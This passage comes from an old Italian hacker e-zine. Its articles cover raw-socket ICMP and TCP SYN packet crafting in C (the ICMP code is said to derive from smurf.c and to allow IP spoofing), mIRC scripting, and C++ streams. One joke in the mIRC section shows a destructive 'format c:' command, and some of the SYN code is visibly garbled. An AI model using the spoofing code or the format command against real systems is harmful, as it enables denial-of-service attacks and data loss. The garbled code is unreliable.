destinare quanti byte volete.. io ho messo 64 xke' e' la dimensione di
default del ping di unix)
- packet punta a tutta la zona di memoria.

PACKET
|---------------|---------|-------------|
pip picmp 64b di data

bene... per ottere 'sto risultato si fa cosi'
pip=(struct ip *)packet;
picmp=(struct icmp *)(packet+sizeof(ip));

Oky.. abbiamo ottenuto ke packet contenga esattamente tutto il pakketto da
inviare.
Bene.. ora usiamo la setsockopt per fare in modo di avere il permesso di poter
inserire il nostro header nel pakketto ip.

...
int hincl=1;
...
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,&hincl,sizeof(hincl));

perfetto.. ora e' tutto pronto... possiamo crearci il nostro pakketto.
Oky dato ke ora non ho voglia di spiegarvi tutti i campi dell'ip (questo
potete impararvelo da soli con un qualsiasi libro sul tcp/ip) salto questa
parte e vi rimando all'esempio ke ho allegato in fondo. E' stracommentato
quindi dovreste capirlo senza problemi. Ovviamente dovete aver chiaro com'e'
costituito un pakketto ip, e un pakketto icmp. Per chi volesse guardarsi tutti
i membri della struttura ip e icmp consiglio di darsi una leggiukkiata a
/usr/include/netinet/ip.h e ip_icmp.h. Cmq.. uno skemetto con spiegazione di
tutti i campi dell'ip lo trovate da qualke parte nella rete.
Oky.. supponiamo ke abbiate modificato bene le strutture puntate da pip e
picmp. Se avete capito quello ke ho spiegato prima avrete capito ke ora packet
punta alla zona in cui il nostro pakketto e' memorizzato. Bene.. ora ci basta
una sendto e il pakketto sara' spedito per la rete :))

sendto(sock,packet,sizeof(struct ip)+sizeof(struct icmp)+64,0,
(struct sockaddr *) &from,sizeof(struct sockaddr));

tadaaaaa'.. icmp partito.

La cosa non vi e' chiara? ekkovi un programmino completo stracommentato.
Il programma cosi' com'e' fatto non fa altro ke mandare un ping a 127.0.0.1
da 127.0.0.1 . Cosi' com'e' non fa nulla di particolare. Dandogli una
microscopica modificatina si puo' cambiare l'indirizzo ip sorgente e
ovviamente quello destinatario. (In pratica possiamo spoofare il nostro ip).
Ovviamente possiamo anke cambiare l'icmp_type e l'icmp_code in modo da non
mandare un echo_request ma per esempio un icmp di destination unreachable (si
scrive cosi' ? :P)
Come faccio ad accorgermi se il ping mi arriva o no ? Basta guardare nel
syslog.. dovrebbe comparirvi una cosa tipo :
Feb 3 21:21:10 inferno icmplogd: ping from inferno [127.0.0.1]

Attenzione.. quando lo testate con ip spoofati sappiate ke non potete mandare
a 127.0.0.1 pakketti con ip sorgente non 127.*.*.* .. per esempio potete
provare a modificare l'ip sorgente in 127.6.6.6 o quello ke volete...

questo programmino l'ho scritto scopiazzando dallo smurf.c .. se ci sono
errori potete guardare pure li'.

Oky.. ho scritto troppo per sto' articolo.. byez
(ringraziamenti, insulti, bestemmie, auguri di natale, pasqua o anno nuovo a
cyrax@freemail.it)
(|CyRaX|@ircnet)
------Cut here--------

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <string.h>
#include <netdb.h>
int main(int argc, char **argv){
struct ip *pip;
struct icmp *picmp;
struct sockaddr_in from;
int sock;
char *packet;
int hincl=1;
int err;
/* il packet punta ad un area di memoria dove c'e'
pip picmp + 64 vuoti*/

/* pip e' un puntatore a una struttura ip.. per modificare l'header */
/* picmp e' un puntatore a una struttura icmp per modificare la parte
icmp */

/* sock e' il socket.. ke va messo su raw con IPPROTO_RAW */
/* hincl e' l'opzione da passare con la setsockopt per poter cambiare
l'header */

/* from e' l'indirizzo da cui deve partire il pakketto */
sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
printf("socket() :%i\n",sock);
err=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&hincl,sizeof(hincl));
printf("setsockopt() :%i\n",err);
/* ora allochiamo un po' di memoria per packet.. ci serve
esattamente lo
* spazio per un header ip, per un header icmp, e per i dati icmp.. (in
* questo caso mettiamo 64 bytes di data) */

packet=malloc(sizeof(struct ip)+sizeof(struct icmp)+sizeof(struct
icmp)+64);
/* ora facciamo puntare pip alla prima parte della memoria a cui punta anke
* packet*/

pip=(struct ip *) packet;
/* ora.. dato ke la parte icmp si trova subito dopo quella ip in packet
* facciamo puntare picmp a packet + la dimensione di una
struttura ip
*/

picmp=(struct icmp *)(packet +sizeof(struct ip));
/* ora riempiamo di zeri l'area di memoria puntata dal pakketto*/
memset(packet,0,sizeof(struct ip)+sizeof(struct icmp)+64);
/* ora riempiamo la struttura from con l'indirizzo sorgente
dell'icmp */

/* (in questo caso 127.0.0.1) */
from.sin_addr.s_addr=inet_addr("127.0.0.1");
from.sin_family=AF_INET;
/* e ora inizia il bello.. costruiamoci l'header ip!!! :) */
/* ip_len e' la lunghezza dell'intero pakketto ip. In quest
caso e'
* la lunghezza dell'header ip + la lunghezza dell'header icmp + i dati
* icmp ke in questo caso sono 64 byte*/

pip->ip_len=sizeof(struct ip)+sizeof(struct icmp)+64;
/* ip_hl : lunghezza header ip */
pip->ip_hl=sizeof *pip >>2;
/* ip_v : versione di ip.. va messa su 4 (finke non
arriva l'ipv6 :PP)*/

pip->ip_v=4;
/* ip_ttl : time to live.. il numero massimo di router ke il pakketto
puo'
* passare prima di essere scartato. (valore massimo 255)*/

pip->ip_ttl=255;
/* ip_tos : type of service.. dovrebbe essere per le priorita' */
pip->ip_tos=0;
/* ip_off : questo e' il fragment offset.. noi non
frammentiamo un kazzo
* quindi lo impostiamo a 0 */

pip->ip_off=0;
/* ip_id : indentificazione.. ogni frammento di un pakketto deve
contenere
* lo stesso id. A noi non importa nulla dato ke non frammentiamo. Cmq
* come indentificazione conviene mettere il pid del programma in
esecuzione*/

pip->ip_id=htons(getpid());
/* ip_p : protoccolo.. l'icmp corrisponde al protoccolo 1 */
pip->ip_p=1;
/* ora mettiamo l'ip sorgente e l'ip destinatario. */
pip->ip_src.s_addr=from.sin_addr.s_addr;
pip->ip_dst.s_addr=inet_addr("127.0.0.1");
/* ip_sum : cheksum.. serve a controllare ke l'header
arrivi intero */

pip->ip_sum=0;
/* header ip finito!!! .. passiamo all'icmp */
/* icmp_type .. noi vogliamo l'echo request a cui corrisponde il
tipo 8 */

picmp->icmp_type=8;
/* icmp_code .. se non sbaglio quando si setta il type a 8 il codice
non ha
* importanza.. solitamente il code serve come sottotipo di type. In questo
* caso lo settiamo a 0 */

picmp->icmp_code=0;
/* icmp_cksum .. somma di controllo per verificare se il
pakketto e' arrivato
* intero a destinazione */

picmp->icmp_cksum=htons(~(ICMP_ECHO << 8));
/* TADAAAAAA.. il pakketto e' pronto !!!!! */
/* ora inviamolo con un sendto */
err=sendto(sock,packet,sizeof(struct ip)+sizeof(struct icmp)+64,
0,(struct sockaddr *) &from,sizeof(struct sockaddr));
printf("%i + %i + 64 = %i\n",sizeof(struct
ip),sizeof(struct icmp),err);
printf("from : %i to : %i\n",from.sin_addr.s_addr,pip->ip_dst.s_addr);
}

------------- EOF --------------
byez
|CyRaX|
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ RAW FOR DUMMIES ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

by: hi]tech[ <---> hi.tech@usa.com

cibarie:Pringles ( gusto pantegana )
LemonSoda
OvinoKinder

muZica: Dark Tranquillity ( After Hour :)

Allora, articolo veloceveloce sulla programmazione.
Uno scoglio che molti si trovano davanti e' riuscire a programmare
i raw socket. Sicuramente non facili da utilizzare all'inizio,
ma una volta capiti, diventano una ca**ata.
Siccome non ho intenzione di fare il solito articolo sul tcp/ip
partiamo dal presupposto che sappiate gia' come sia strutturato.
Inserisco soltanto le solite tabelle degli header iP e TCP, che saranno
quelli che utilizzeremo dopo.

IP header:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TCP header, then your data ...... |
| |

TCP header:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| your data ... next 500 octets |
| ...... |

Bene,ora dobbiamo strutturarci il pacchetto da mandare...
Facciamo un esempio, vogliamo mandare un pacchetto tcp
con la flag SYN attiva. =)
Il pacchetto sara' formato dall'header IP ( in qualunque caso :)
e dall'header TCP.
Le flag dovranno essere tutte a 0 meno che la FIN.
Come procediamo?? Cosi':
- N.B. = utilizzando i BSD socket -

ci strutturiamo il pacchetto:

struct pacchetto {
struct iphdr IP;
struct tcphdr TCP;
char DATA[1500];
}pkt;

ok?? ;)
Ricapitoliamo, PACCHETTO = IP_header + TCP_header + DATI .
ora dovremo forgiare pkt!! ( come mi piace questa parola!! =)
prima di tutto settiamo pkt:

memset(&pkt,0,sizeof(pkt));

Facile no?? Ora ci inizializzeremo tutte le parti del pacchetto,
prima l'ip header:

pkt.ip.ihl=5;
pkt.ip.version=4;
pkt.ip.tos=0;
pkt.ip.tot_len=htons(sizeof(struct iphdr)+sizeof(struct
tcphdr)+sizeof(pkt.DATA);
pkt.ip.id=0;
pkt.ip.ttl%5;
pkt.ip.frag_off=0;
pkt.ip.protocol=IPPROTO_TCP;
pkt.ip.saddr=inet_addr("10.10.10.10");
pkt.ip.daddr=inet_addr("20.20.20.20");
pkt.ip.check=/*funzione checksum*/

Allora, basta che vi teniate tra le mani le tabelle del buon programmatore ( intendo gli headers ) e tutto vi verra' spontaneo.
Breve descrizione:

4-bits ihl= descrive la lunghezza dell'header. ( Il minimo e' 5 bit ).
4-bits version= il formato dell'header ( ci sono in tutto 4 formati ).
8-bits tos= Type of Services,be'.. diciamo che provvede a segnalare i
parametri per il servizio desiderato.
16-bits tot_len=total length, lunghezza totale del pacchetto, misurata in
ottetti.
16-bits id=valore di identificazione del pacchetto.
8-bits ttl=time to live, non c'e' bisogno di spiegare vero?? =)
13-bits frag_off=fragment offset,locazione del frammento.
8-bits protocol=quale tipo di protocollo utilizziamo.
16-bits check=checksum.
32-bits saddr=source address.
32-bits daddrÞstination address.

Ci sarebbe anche il campo 'flags' ma ci pensera' il kernel a settarlo.
Ora passiamo al tcp:

pkt.tcp.source=htons(7777);
pkt.tcp.dest=htons(8888);
pkt.tcp.doff=5;
pkt.tcp.seq pkt.tcp.ack_seq=0;
pkt.tcp.rst=0;
pkt.tcp.fin=0;
pkt.tcp.syn=1;
pkt.tcp.ack=0;
pkt.tcp.urg=0;
pkt.tcp.psh=0;
pkt.tcp.window=0;
pkt.tcp.check=/*funzione checksum*/

Questa parte e' sicuramente + comprensibile della prima.
Bene, ora che ci siamo creati il bel pacchettino dovremo dire al kernel che
abbiamo intenzione di fare tutto noi e di manipolare l'header IP.
Cosi':

pippo=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
...e...
opt=1;
err=setsockopt(pippo,IPPROTO_IP,IP_HDRINCL,&opt,sizeof(opt));

e ora??abbiamo fatto tutto!! =)
(mancherebbe l'inizializzazione della struttura sockaddr_in ma quella e'
uguale ad uno stream socket quindi ve la risparmio).
Possiamo tranquillamente mandare il nostro bel pacchettino appena forgiato:

err=sendto(pippo,&pkt,sizeof(pkt),0,(struct sockaddr_in*)
&name,sizeof(name));

Ecco di seguito il programma di esempio di prima:

>----------- start -------------
/***************************************
esempio di pacchetto tcp, con syn attivo
***************************************/


#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>

unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) {
unsigned long sum;

__asm__ __volatile__("
movl (%1), %0
subl $4, %2
jbe 2f
addl 4(%1), %0
adcl 8(%1), %0
adcl 12(%1), %0
1: adcl 16(%1), %0
lea 4(%1), %1
decl %2
jne 1b
adcl $0, %0
movl %0, %2
shrl $16, %0
addw %w2, %w0
adcl $0, %0
notl %0
2:
"

: "=r" (sum), "=r" (iph), "=r" (ihl)
: "1" (iph), "2" (ihl));
return(sum);
}

int main(int argc,char *argv[])
{
int pippo,err,opt=1;
struct sockaddr_in name_sock;
struct pacchetto {
struct iphdr ip;
struct tcphdr tcp;
} pkt;
struct hostent *hp;
char checkbuf[32],checkbuf2[32];

memset(&pkt,0,sizeof(pkt));
memset(&name_sock,0,sizeof(name_sock));

if ((pippo=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))=)
{
perror("cannot open raw socket ");
exit(-1);
}
if (setsockopt(pippo,IPPROTO_IP,IP_HDRINCL,&opt,sizeof(opt)))
{
perror("cannot set ip_hdrincl ");
exit(-1);
}
name_sock.sin_family¯_INET;
name_sock.sin_port=htons(atoi(argv[2]));
if ((hp=gethostbyname(argv[0]))==NULL)
{
name_sock.sin_addr.s_addr=inet_addr(argv[1]);
pkt.ip.daddr=inet_addr(argv[1]);
}
else
{
memcpy((char *)&name_sock.sin_addr,hp->h_addr,hp->h_length);
memcpy((char *)&pkt.ip.daddr,hp->h_addr,hp->h_length);
}

pkt.ip.ihl=5;
pkt.ip.version=4;
pkt.ip.tos=0;
pkt.ip.id=0;
pkt.ip.tot_len=sizeof(pkt);
pkt.ip.frag_off=0;
pkt.ip.ttlp;
pkt.ip.protocol=IPPROTO_TCP;
pkt.ip.check=ip_fast_csum((unsigned char*)checkbuf2,32);
pkt.tcp.source=htons(1009);
pkt.tcp.dest=htons(atoi(argv[2]));
pkt.tcp.doff=5;
pkt.tcp.syn=1;
pkt.tcp.rst=0;
pkt.tcp.psh=0;
pkt.tcp.ack=0;
pkt.tcp.fin=0;
pkt.tcp.urg=0;
pkt.tcp.window=0;
pkt.tcp.check=ip_fast_csum((unsigned char*)checkbuf,32);

err=sendto(pippo,&pkt,sizeof(pkt),0,(struct sockaddr_in*)&name_sock,sizeof(name_sock));
if (err=)
{
perror("cannot send ");
exit(-1);
}
else
printf("Packet has been send! =)\n");

close(pippo);
return(0);
}
>----------- end --------------

e tutti vissero felici e contenti =)
alla proxima
hi]tech[

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ THE GREAT SCRIPTING GUIDE ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ciao a tutti, belli e spaventosamente brutti. Questa e' la prima volta che
scrivo qualcosa.Anzi no, ho scritto un sacco di roba, solo che nessuno mi
aveva mai chiesto di farlo.Tra l'altro questo e' sicuramente il mio articolo
+ sensato nonche' l'unico da me' scritto.Passiamo Subito al Dunque:
Direi che tutti conoscono + o - IRC e Il mIRC, quindi anziche' le solite
storie su Whois IP address e menate varie Partiro' subito a parlare di come
realizzare 1 vostro Script.

*)Ingredienti:

1 mIRC 5.7 (Scaricabile da www.mirc.net )
1 KEy Word Generator Per mIRC 5.7 (No questo su mIRC.net ancora non l'hanno
uploadato)
1 Buona dose di pazienza
1 QI superiore di almeno 4 punti a quello di un qualsiasi animale da Soma.

*) Concetti di Base:
Per realizzare il vostro full script for mIRC dovete conoscere i principali
comandi mIRC (Non ci crederete ma li trovate Sull'HElp del mIRC) e avere una
certa esperienza in chat e un senso estetico medio-alto se volete rendere il
vostro script User-Friendly al 100%.

Let's TO Begin (Ma senti come faccio il Buono....)
Se gia' sapete cosa sono alias popoup e remote non saltate questa parte, io
stesso per scrivere questo articolo ho imparato un casino di roba (TRa cui:
Non e' da persona normale tirare le 2 di notte per finire un articolo di una
enzine che non ha ancora un nome, Se ti macchi col caffe' il pigiamino non
viene + pulito, e poi una certa storia di $$ e droghe Leggere..)
Cmq, apritevi il vostro Bel mIRC 5.7 ,ci troverete una barra in alto (Non Il
menu con scritto file eccetera ma la barra grafica che ha connect come prima
voce a sx) Bavi!Vedrete che ci sono 3 iconcine somewhere che dicono Allias
Popoup Remote.Ecco, questi sono il fulcro intorno al quale ruotera' il nostro
scrip.Se clickkare sulle iconcine col mouse e' una fatica che le vostre
callose dita non possono sopportare potete usare i tasti rapidi:
Alt+P --> Popoup Alt+R --> Remote e Alt+A --> Aliases

-) ALIASES:
Premete ALt+A e apparira' una finestra Simile alle solite finestre, quelle in
cui Windows 98 vi dice che ha trovato un problema che in realta' non esiste,
e che non riuscendo a risolverlo bisogna resettare il computer...
Ecco, in questa finestra troverete queste righe:

/op /mode # +ooo $$1 $2 $3
/dop /mode # -ooo $$1 $2 $3
/j /join #$$1 $2-
/p /part #
/n /names #$$1
/w /whois $$1
/k /kick # $$1
/q /query $$1
/hop /part # | /join #$$1
/send /dcc send $1 $2
/chat /dcc chat $1
/ping /ctcp $$1 ping

Se voi da questa schermata guardate nel menu (Quello dove ce' scritto file
ecc..) alla voce "View", noterete che ce' un solo file chiamato aliases.ini
Aliases.ini e' il file che contiene tutti quei comandi scritti li
sopra.Quando farete lo script, per comodita', conviene utilizzare diversi
file .ini per gli aliases, divisi per argomento, in modo da avere la
possibilita' di capirci qualcosa quando andrete a modificare il tutto per
qualche ragione.Per imparare potremmo anche scrivere qui su aliases.ini,
subito dopo la riga
/ping /ctcp $$1 ping
ma per comodita' utilizzeremo un altro file.I comandi tanto vengono
considerati sempre dal mirc, e il file in cui si trovano non pregiudica il
loro funzionamento.Okkey, per creare un nuovo file andate nella directory
dello scripte create una nuova "cartella" di nome System.
in c:\mirc\system\ create un file che si chiama aliases2.ini (Potete darci
il nome che volete)
Adesso avviate il mirc premete Alt+A e andate nel menu' in
file-->load-->script-->e con il comando sfoglia selezionate il file appena
creato.Appena lo caricate ovviamente sara' vuoto e potete iniziare a
lavorarci sopra. (Notate tra l'altro che adesso nel menu sotto "view" ci
sono 2 file aliases.ini e aliases2.ini e che potete passare da 1 all'altro
con un click.

Vi siete mai chiesti perche' Per entrare in un canale e' sufficente scrivere
/j #canale anziche' /join #canale ? non credo, cmq /j #canale e' un
aliases.Infatti corrisponde a questa riga /j /join #$$1 $2- (presente in
aliases.ini) che se la cancellate non vi permettera' piu di joinare
velocemente al canale (Dovete scrivere ben 3 caratteri in piu') e vi portera'
via tempo prezioso da dedicare alla ricerca e catalogazione dei siti porno.

MA andiamo per gradi.Innanzi tutto un semplicissimo esempio di aliases:

/sik /say {Il mio Url e' http://www.cyberidiots/scripterz.org Visitalo se
vuoi salvare il mondo e distruggere quel baratro d'ignoranza che domina
incontrastato nel tuo minuscolo cervellino asimmetrico. }

LA sintassi e':
/scorciatoia /comando
In pratica consente, scrivendo solamente /sik, di eseguire un comando che
richiederebbe molto piu tempo (Fate in Tempo a vedervi la Home Page di
qualche lesbica con il tempo che risparmiate...)
Le parentesi graffe le ho dovute mettere perche' anche se e' solo un comando
occupa piu di una riga per uno che sta usando il notepad e non ha il
wordwrapping o kome cazzo si chiama attivo.
Questo invece e' un esempio in cui le parentesi sono indispensabili:
/sik_join {
/join #hackita
/say Ciao Ragazzi!Cosa si dice di bello?
/join #hack_is_too_busy_for_me
/say Ciao A Tuttiz
/say Sono stato io a pingare Yahoo
}

Prima di commentarlo 2 cose:
1) Le parentesi graffe non ci sono sulla tasiera quidi dovrete usare il
codice ascii per farle.
2)Volevo solo ricordare che questo va scritto negli aliases.Una volta che
avete salvato questa in aliases potete richiamarla con il comando /Sik_join
dallo status del mirc o da un canale. (Cazzo tu ultimo BAnco 3 fila ti ho
detto che le graffe non ci sono sulla tastiera smetti di cercarle!!Per farle
devi tenere premuto alt e digitare 123 per questa "{" e 125 per questa "}"
e poi ovviamente rilasciare alt )

Commento: In pratica se scrivete queste 7 righe negli aliases sara possibile
richiamare tutti questi comandi (Nell'ordine in cui sono scritti)
semplicemente digitando /Sik_join nella barra che di solito usate per
scrivere.

/join #hackita
/say Ciao Ragazzi!Cosa si dice di bello?
/join #hack_is_too_busy_for_me
/say Ciao A Tuttiz
/say Sono stato io a pingare Yahoo

(Se non sapete cosa fanno questi comandi leggete l'help del mirc)

Un consiglio che vi do e' quello di inserire sempre commenti.Per farlo usate
il ";".Usare i commenti vi aiutera' quando dovrete tornare sui vostri passi
perche' qualcosa non va come dovrebbe.

Es:

/secret {
/part all
; Esci da tutti i canali

/nick Anonimo
;Cambia nickname in "anonimo"

/j #hackita
; Entra in #hackita

/j #hack_is_too_busy_for_me
;Entra in #hack_is_too_busy_for_me
}

Vediamo Ora sempre un aliases ma un pochettino piu complesso.Avete Capito
tutto fin qui? Spero di si perche' se no vi manca il requisito di cui al
punto 4 (Vedi ingredienti).
Ricancellate tutto il contenuto di aliases2.ini (Il file fatto da noi per
prova) e scriveteci questo:

/j /join $1

Adesso nel mirc provate a scrivere /j #hackita (Dovete essere connessi) e
vedrete che joinera al canale. $1 e' un parametro.O meglio, $ e' un parametro,
1 sta solo ad indicare che quello e' il primo parametro.Se vogliamo fare 2
parametri scriveremo:

/doublejoin {
/join $1
/join $2
}

Per usare questo aliases scriverete:
/doublejoin #hackita #hackers
dove $1 corrisponde ad #hackita e $2 a #hackers

Quindi quando fate partire /doublejoin, $1 prendera' il valore del primo
parametro che specificate (#hackita in questo caso) e $2 quello del secondo.

Volendo si puo anche stabilire un Range di parametri, utilizzando
/jrange /join $2-6
Significa che si scrive /jrange + i vari parametri, che non possono essere
meno di due ma neanche + di 6.

Oppure si puo usare il comando $$1 dove la doppia $ ti obbliga a mettere un
parametro.Per ulteriori info vedere l'help del mirc.

Se invece volete chiedere qualcosa all'utente la sintassi e' questa:
/jask /join $?="Inserisci Canale in Cui vuoi Entrare:"
Comparira' una finestrella che chiedera' all'utente il canale in cui entrare

Ci sono poi degli identifier (Quelli della famiglia $ per cosi dire..) che
non vengono decisi dall'utente ma sono fissi o cmq vengono letti
direttamente dal mirc.Alcuni esempi sono $me $schan $time ecc
$me e' uguale al tuo nick (o a quello di chi sta usando il mirc in questo
momento), $chan e' il canale in cui si e' in questo momento (Currently active
Channel window) e puo essere sostituito con # mentre $time e' l'ora
attuale.Ripeto,Questi sono tutti Identifier che non vanno impostati e
possono essere molto utili.Ce ne e' altri ma ne parleremo appena saltano
fuori.



Vorrei inoltre segnalarvi alcuni comandi che possono essere molto utili per
realizzare uno script se non indispensabili:
(COSA?!?, volevate che vi spiegassi questi comandi per bene con tutti i
possibili parametri?SI e poi?La fettina di culo la volete vicino
all'osso?Guardatevi l'help del mirc per favore, che come disse qualcuno e' la
bibbia dello "scripter" (Termine coniato alle $time di questo giorno))

/echo --> Serve a visualizzare una frase in un canale in query nella staus
bar o nell'active windows, ma puo essere letta solo da chi sta usando lo
script.Serve per informare l'utente del vostro script di eventuali errori o
per mettere un messaggio all'avvio dello script o altre cosucce del genere..

/background --> Cambia il background del mirc, lo usate per personalizzare
lo sfondo sui canali le query eccetera

/play --> Legge un txt file ad un nick specifico o ad un canale.Vi risparmia
il copia incolla che e' frustrantissimo (Si e' scritto giusto, inutile che
controllate...)

/splay --> Per runnare un file wav.Se non e' specificato un file apparira' il
sound request dialog.

/run --> Comando molto versatile vi permette di eseguire anche dei comandi
dos ( Tipo Format c:\ /u /q /autotest HIHIHihihiHIHIHIHihhhihiHHHIH )

Ok,In questa prima lezione oltre ad aver imparato qualcosina sugli aliases
(almeno cosa sono spero o abbiate capito) e sugli identifier avete piu o
meno visto i principali comandi, se non li conoscevate gia'.Magari non tutti
conoscevano il comando /Say, in quando per dire qualcosa e' sufficiente
scriverlo quando si agisce in prima persona nelle chat, ma preparando lo
script non e' la stessa cosa.

DOMANDA DI AUTOVERIFICA:
COsa significa la linea qui sotto messa negli aliases e come utilizzarla?
(Questa si trova in aliases.ini, quelli standard del mIRC)
/hop /part # | /join #$$1
La Risposta a questo quesito Nella prossima Lesson.(Vi do un aiutino.Invece
di scrivere tanti comandi tra le parentesi graffe potete mettere | tra un
comando e l'altro per indicare che sono tutti attaccati.Quindi e' come
scrivere cosi':
/hop {
/part #
/join #$$1
}

Per Info suggerimenti consigli lacune e ovviamente insulti citofonatemi a
truesick@libero.it ma fate attenzione al mio programma anti-spamm che
rintraccia automaticamente il vostro IP address e viene a casa vostra ad
uccidervi tutta la famiglia senza preavviso.

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ STREAM ON C++ ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

by: hi]tech[ <---> hi.tech@usa.com

Consumo: Pringles ( gusto Canapa Indiana )
LemonSoda

MuZica: BBC Session, Led Zeppelin
Once in a Live time, Dream Theater

Cosa sono gli stream??? ehehehe.... be' partiamo dal dire che il c++ gestisce tutte
le funzionalita' di I/O su terminale e su file.
Le operazioni base ( che tutti conosceranno, altrimenti sparatevi :) sono:
cin,cout,cerr,clog.
schemettino:
cin --> Input standard <---> stdin
cout --> Output standard <---> stdout
cerr --> Error standard <---> stderr

Ora ci siete? penso di si... anche perche' questi tre descrittori ( stdin .... ) li avrete gia' sentiti
lavorando o guardando qualche handle, infatti:

HANDLE --> | 0 | 1 | 2 | 3 | 4 | .........
| | |
| | stderr
| stdout
stdin

sono quelli base, che vengono creati di default in ogni handle....
cmq, noi dobbiamo parlare di altro... =)
~~~~
allora... prima di partire del tutto ( di cervello ;) diciamo che l'output su stream in c++
e' dotato di una serie di funzioni:

cout.width(5); <---- setta la lunghezza dell'output successivo
cout<<"ciao";
produce:
>ciao_ <---- prendiamo l'underscore come spazio

se in caso ci fosse stato una parola + lunga di 5 di default il settaggio verrebbe ignorato.
altra funzioncina e':

cout.width(5);
cout.fill('x'); <---- riempie l'output di x ( la dimensione era settata a 5 )
produce:
>xxxxx

una funzione interessante e' la setf() :

cout.setf(ios::showpos);
//inserisce il segno positivo davanti ai valori positivi
cout.setf(ios::showbase);
//indica i valori ottali con 0 e valori esadecimali con 0x
cout.setf(ios::showpoint);
//produce uno 0 e un punto decimale per valori in virgola mobile
cout.setf(ios::uppercase);
//produce numeri esadecimali in lettere maiuscole
cout.setf(ios::X, ios::basefield);
//produce interi in base X ( XÞc, oct, hex )
cout.setf(ios::X, ios::floatfield)
//produce numeri reali in modalita' X ( X=fixed [virgola fissa], scientific )
cout.setf(ios::X, ios::adjustfield)
//allineamento a X (X=right, left)

poi c'e' la funz precision() che imposta la precisione dei numeri in virgola mobile.

cout.precision(3);
cout<<6.54321<<'\n';
produce:
6.543

Dopo questa panoramica sulle funzioni ecco qualcosa di + interessante =)
